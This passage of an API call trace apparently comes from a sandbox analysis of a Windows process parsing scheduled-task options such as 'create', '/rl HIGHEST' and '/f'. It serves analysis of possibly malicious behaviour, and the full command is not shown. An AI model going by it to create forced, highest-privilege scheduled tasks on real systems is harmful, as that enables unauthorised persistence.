[0066.317] SetLastError (dwErrCode=0x490) [0066.317] lstrlenW (lpString="d") returned 1 [0066.317] lstrlenW (lpString="d") returned 1 [0066.317] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.317] lstrlenW (lpString="rl") returned 2 [0066.317] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.317] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|d|") returned 3 [0066.317] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.317] lstrlenW (lpString="|d|") returned 3 [0066.317] lstrlenW (lpString="|rl|") returned 4 [0066.317] SetLastError (dwErrCode=0x490) [0066.317] lstrlenW (lpString="m") returned 1 [0066.317] lstrlenW (lpString="m") returned 1 [0066.317] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.317] lstrlenW (lpString="rl") returned 2 [0066.317] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.317] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|m|") returned 3 [0066.317] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.317] lstrlenW (lpString="|m|") returned 3 [0066.317] lstrlenW (lpString="|rl|") returned 4 [0066.318] SetLastError (dwErrCode=0x490) [0066.318] lstrlenW (lpString="i") returned 1 [0066.318] lstrlenW (lpString="i") returned 1 [0066.318] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.318] lstrlenW (lpString="rl") returned 2 [0066.318] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.318] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|i|") returned 3 [0066.318] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.318] lstrlenW (lpString="|i|") returned 3 [0066.318] lstrlenW (lpString="|rl|") returned 4 [0066.318] SetLastError (dwErrCode=0x490) [0066.318] lstrlenW (lpString="tn") returned 2 [0066.318] lstrlenW (lpString="tn") returned 2 [0066.318] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.318] lstrlenW (lpString="rl") returned 2 [0066.318] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.318] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.318] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.318] lstrlenW (lpString="|tn|") returned 4 [0066.318] lstrlenW (lpString="|rl|") returned 4 [0066.318] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0066.318] SetLastError (dwErrCode=0x490) [0066.318] lstrlenW (lpString="tr") returned 2 [0066.319] lstrlenW (lpString="tr") returned 2 [0066.319] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.319] lstrlenW (lpString="rl") returned 2 [0066.319] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.319] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.319] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.319] lstrlenW (lpString="|tr|") returned 4 [0066.319] lstrlenW (lpString="|rl|") returned 4 [0066.319] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0066.319] SetLastError (dwErrCode=0x490) [0066.319] lstrlenW (lpString="st") returned 2 [0066.319] lstrlenW (lpString="st") returned 2 [0066.319] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.319] lstrlenW (lpString="rl") returned 2 [0066.319] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.319] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|st|") returned 4 [0066.319] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.319] lstrlenW (lpString="|st|") returned 4 [0066.319] lstrlenW (lpString="|rl|") returned 4 [0066.319] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0066.319] SetLastError (dwErrCode=0x490) [0066.319] lstrlenW (lpString="sd") returned 2 [0066.319] lstrlenW (lpString="sd") returned 2 [0066.319] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.319] lstrlenW (lpString="rl") returned 2 [0066.320] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.320] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sd|") returned 4 [0066.320] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.320] lstrlenW (lpString="|sd|") returned 4 [0066.320] lstrlenW (lpString="|rl|") returned 4 [0066.320] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0066.320] SetLastError (dwErrCode=0x490) [0066.320] lstrlenW (lpString="ed") returned 2 [0066.320] lstrlenW (lpString="ed") returned 2 [0066.320] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.320] lstrlenW (lpString="rl") returned 2 [0066.320] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.320] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ed|") returned 4 [0066.320] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.320] lstrlenW (lpString="|ed|") returned 4 [0066.320] lstrlenW (lpString="|rl|") returned 4 [0066.320] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0066.320] SetLastError (dwErrCode=0x490) [0066.320] lstrlenW (lpString="it") returned 2 [0066.320] lstrlenW (lpString="it") returned 2 [0066.320] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.320] lstrlenW (lpString="rl") returned 2 [0066.320] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.320] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|it|") returned 4 [0066.321] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.321] lstrlenW (lpString="|it|") returned 4 [0066.321] lstrlenW (lpString="|rl|") returned 4 [0066.321] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0066.321] SetLastError (dwErrCode=0x490) [0066.321] lstrlenW (lpString="et") returned 2 [0066.321] lstrlenW (lpString="et") returned 2 [0066.321] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.321] lstrlenW (lpString="rl") returned 2 [0066.321] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.321] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|et|") returned 4 [0066.321] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.321] lstrlenW (lpString="|et|") returned 4 [0066.321] lstrlenW (lpString="|rl|") returned 4 [0066.321] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0066.321] SetLastError (dwErrCode=0x490) [0066.321] lstrlenW (lpString="k") returned 1 [0066.321] lstrlenW (lpString="k") returned 1 [0066.321] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.321] lstrlenW (lpString="rl") returned 2 [0066.321] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.321] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|k|") returned 3 [0066.321] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.321] lstrlenW (lpString="|k|") returned 3 [0066.321] lstrlenW (lpString="|rl|") returned 4 [0066.322] SetLastError (dwErrCode=0x490) [0066.322] lstrlenW (lpString="du") returned 2 [0066.322] lstrlenW (lpString="du") returned 2 [0066.322] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.322] lstrlenW (lpString="rl") returned 2 [0066.322] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.322] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|du|") returned 4 [0066.322] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.322] lstrlenW (lpString="|du|") returned 4 [0066.322] lstrlenW (lpString="|rl|") returned 4 [0066.322] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0066.322] SetLastError (dwErrCode=0x490) [0066.322] lstrlenW (lpString="ri") returned 2 [0066.322] lstrlenW (lpString="ri") returned 2 [0066.322] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.322] lstrlenW (lpString="rl") returned 2 [0066.322] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.322] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ri|") returned 4 [0066.322] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.322] lstrlenW (lpString="|ri|") returned 4 [0066.322] lstrlenW (lpString="|rl|") returned 4 [0066.322] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0066.322] SetLastError (dwErrCode=0x490) [0066.322] lstrlenW (lpString="z") returned 1 [0066.322] lstrlenW (lpString="z") returned 1 [0066.323] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.323] lstrlenW (lpString="rl") returned 2 [0066.323] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.323] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|z|") returned 3 [0066.323] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.323] lstrlenW (lpString="|z|") returned 3 [0066.323] lstrlenW (lpString="|rl|") returned 4 [0066.323] SetLastError (dwErrCode=0x490) [0066.323] lstrlenW (lpString="f") returned 1 [0066.323] lstrlenW (lpString="f") returned 1 [0066.323] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.323] lstrlenW (lpString="rl") returned 2 [0066.323] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.323] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.323] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.323] lstrlenW (lpString="|f|") returned 3 [0066.323] lstrlenW (lpString="|rl|") returned 4 [0066.330] SetLastError (dwErrCode=0x490) [0066.449] lstrlenW (lpString="v1") returned 2 [0066.449] lstrlenW (lpString="v1") returned 2 [0066.449] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.449] lstrlenW (lpString="rl") returned 2 [0066.449] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.449] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|v1|") returned 4 [0066.449] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.449] lstrlenW (lpString="|v1|") returned 4 [0066.449] lstrlenW (lpString="|rl|") returned 4 [0066.449] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0066.449] SetLastError (dwErrCode=0x490) [0066.449] lstrlenW (lpString="xml") returned 3 [0066.449] lstrlenW (lpString="xml") returned 3 [0066.449] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.449] lstrlenW (lpString="rl") returned 2 [0066.449] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.449] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|xml|") returned 5 [0066.449] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.450] lstrlenW (lpString="|xml|") returned 5 [0066.450] lstrlenW (lpString="|rl|") returned 4 [0066.450] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0066.450] SetLastError (dwErrCode=0x490) [0066.450] lstrlenW (lpString="ec") returned 2 [0066.450] lstrlenW (lpString="ec") returned 2 [0066.450] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.450] lstrlenW (lpString="rl") returned 2 [0066.450] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.450] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ec|") returned 4 [0066.450] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.450] lstrlenW (lpString="|ec|") returned 4 [0066.450] lstrlenW (lpString="|rl|") returned 4 [0066.450] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0066.450] SetLastError (dwErrCode=0x490) [0066.450] lstrlenW (lpString="rl") returned 2 [0066.450] lstrlenW (lpString="rl") returned 2 [0066.450] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.450] lstrlenW (lpString="rl") returned 2 [0066.450] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.450] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.451] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.451] lstrlenW (lpString="|rl|") returned 4 [0066.451] lstrlenW (lpString="|rl|") returned 4 [0066.451] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0066.451] SetLastError (dwErrCode=0x0) [0066.451] SetLastError (dwErrCode=0x0) [0066.451] lstrlenW (lpString="HIGHEST") returned 7 [0066.451] lstrlenW (lpString="-/") returned 2 [0066.451] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0066.451] SetLastError (dwErrCode=0x490) [0066.451] SetLastError (dwErrCode=0x490) [0066.451] SetLastError (dwErrCode=0x0) [0066.451] lstrlenW (lpString="HIGHEST") returned 7 [0066.451] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0066.451] SetLastError (dwErrCode=0x490) [0066.451] SetLastError (dwErrCode=0x0) [0066.451] _memicmp (_Buf1=0x25d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.451] lstrlenW (lpString="HIGHEST") returned 7 [0066.451] lstrlenW (lpString="HIGHEST") returned 7 [0066.451] lstrlenW (lpString=" \x09") returned 2 [0066.451] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0066.451] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0066.451] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0066.451] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0066.451] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0066.451] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0066.452] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0066.452] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0066.452] GetLastError () returned 0x0 [0066.452] lstrlenW (lpString="HIGHEST") returned 7 [0066.452] lstrlenW (lpString="HIGHEST") returned 7 [0066.452] SetLastError (dwErrCode=0x0) [0066.452] SetLastError (dwErrCode=0x0) [0066.452] lstrlenW (lpString="/f") returned 2 [0066.452] lstrlenW (lpString="-/") returned 2 [0066.452] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.452] lstrlenW (lpString="create") returned 6 [0066.452] lstrlenW (lpString="create") returned 6 [0066.452] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.452] lstrlenW (lpString="f") returned 1 [0066.452] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.452] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.452] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.452] lstrlenW (lpString="|create|") returned 8 [0066.452] lstrlenW (lpString="|f|") returned 3 [0066.452] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0066.452] SetLastError (dwErrCode=0x490) [0066.452] lstrlenW (lpString="?") returned 1 [0066.452] lstrlenW (lpString="?") returned 1 [0066.452] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.453] lstrlenW (lpString="f") returned 1 [0066.453] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.453] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|?|") returned 3 [0066.453] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.453] lstrlenW (lpString="|?|") returned 3 [0066.453] lstrlenW (lpString="|f|") returned 3 [0066.453] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0066.453] SetLastError (dwErrCode=0x490) [0066.453] lstrlenW (lpString="s") returned 1 [0066.453] lstrlenW (lpString="s") returned 1 [0066.453] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.453] lstrlenW (lpString="f") returned 1 [0066.453] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.453] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|s|") returned 3 [0066.453] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.453] lstrlenW (lpString="|s|") returned 3 [0066.453] lstrlenW (lpString="|f|") returned 3 [0066.453] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0066.453] SetLastError (dwErrCode=0x490) [0066.453] lstrlenW (lpString="u") returned 1 [0066.453] lstrlenW (lpString="u") returned 1 [0066.453] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.453] lstrlenW (lpString="f") returned 1 [0066.453] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.453] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|u|") returned 3 [0066.454] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.454] lstrlenW (lpString="|u|") returned 3 [0066.454] lstrlenW (lpString="|f|") returned 3 [0066.454] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0066.454] SetLastError (dwErrCode=0x490) [0066.454] lstrlenW (lpString="p") returned 1 [0066.454] lstrlenW (lpString="p") returned 1 [0066.454] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.454] lstrlenW (lpString="f") returned 1 [0066.454] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.454] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|p|") returned 3 [0066.454] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.454] lstrlenW (lpString="|p|") returned 3 [0066.454] lstrlenW (lpString="|f|") returned 3 [0066.454] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0066.454] SetLastError (dwErrCode=0x490) [0066.454] lstrlenW (lpString="ru") returned 2 [0066.454] lstrlenW (lpString="ru") returned 2 [0066.454] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.454] lstrlenW (lpString="f") returned 1 [0066.454] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.454] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ru|") returned 4 [0066.454] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.454] lstrlenW (lpString="|ru|") returned 4 [0066.454] lstrlenW (lpString="|f|") returned 3 [0066.455] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0066.455] SetLastError (dwErrCode=0x490) [0066.455] lstrlenW (lpString="rp") returned 2 [0066.455] lstrlenW (lpString="rp") returned 2 [0066.455] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.455] lstrlenW (lpString="f") returned 1 [0066.455] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.455] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rp|") returned 4 [0066.455] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.455] lstrlenW (lpString="|rp|") returned 4 [0066.455] lstrlenW (lpString="|f|") returned 3 [0066.455] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0066.455] SetLastError (dwErrCode=0x490) [0066.455] lstrlenW (lpString="sc") returned 2 [0066.455] lstrlenW (lpString="sc") returned 2 [0066.455] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.455] lstrlenW (lpString="f") returned 1 [0066.455] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.455] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.455] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.455] lstrlenW (lpString="|sc|") returned 4 [0066.455] lstrlenW (lpString="|f|") returned 3 [0066.455] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0066.455] SetLastError (dwErrCode=0x490) [0066.455] lstrlenW (lpString="mo") returned 2 [0066.455] lstrlenW (lpString="mo") returned 2 [0066.456] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.456] lstrlenW (lpString="f") returned 1 [0066.456] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.456] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|mo|") returned 4 [0066.456] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.456] lstrlenW (lpString="|mo|") returned 4 [0066.456] lstrlenW (lpString="|f|") returned 3 [0066.456] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0066.456] SetLastError (dwErrCode=0x490) [0066.456] lstrlenW (lpString="d") returned 1 [0066.456] lstrlenW (lpString="d") returned 1 [0066.456] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.456] lstrlenW (lpString="f") returned 1 [0066.456] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.456] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|d|") returned 3 [0066.456] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.456] lstrlenW (lpString="|d|") returned 3 [0066.456] lstrlenW (lpString="|f|") returned 3 [0066.456] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0066.456] SetLastError (dwErrCode=0x490) [0066.456] lstrlenW (lpString="m") returned 1 [0066.456] lstrlenW (lpString="m") returned 1 [0066.456] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.456] lstrlenW (lpString="f") returned 1 [0066.456] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.457] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|m|") returned 3 [0066.457] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.457] lstrlenW (lpString="|m|") returned 3 [0066.457] lstrlenW (lpString="|f|") returned 3 [0066.457] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0066.457] SetLastError (dwErrCode=0x490) [0066.457] lstrlenW (lpString="i") returned 1 [0066.457] lstrlenW (lpString="i") returned 1 [0066.457] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.457] lstrlenW (lpString="f") returned 1 [0066.457] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.457] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|i|") returned 3 [0066.457] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.457] lstrlenW (lpString="|i|") returned 3 [0066.457] lstrlenW (lpString="|f|") returned 3 [0066.457] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0066.457] SetLastError (dwErrCode=0x490) [0066.457] lstrlenW (lpString="tn") returned 2 [0066.457] lstrlenW (lpString="tn") returned 2 [0066.457] _memicmp (_Buf1=0x25c2a0, 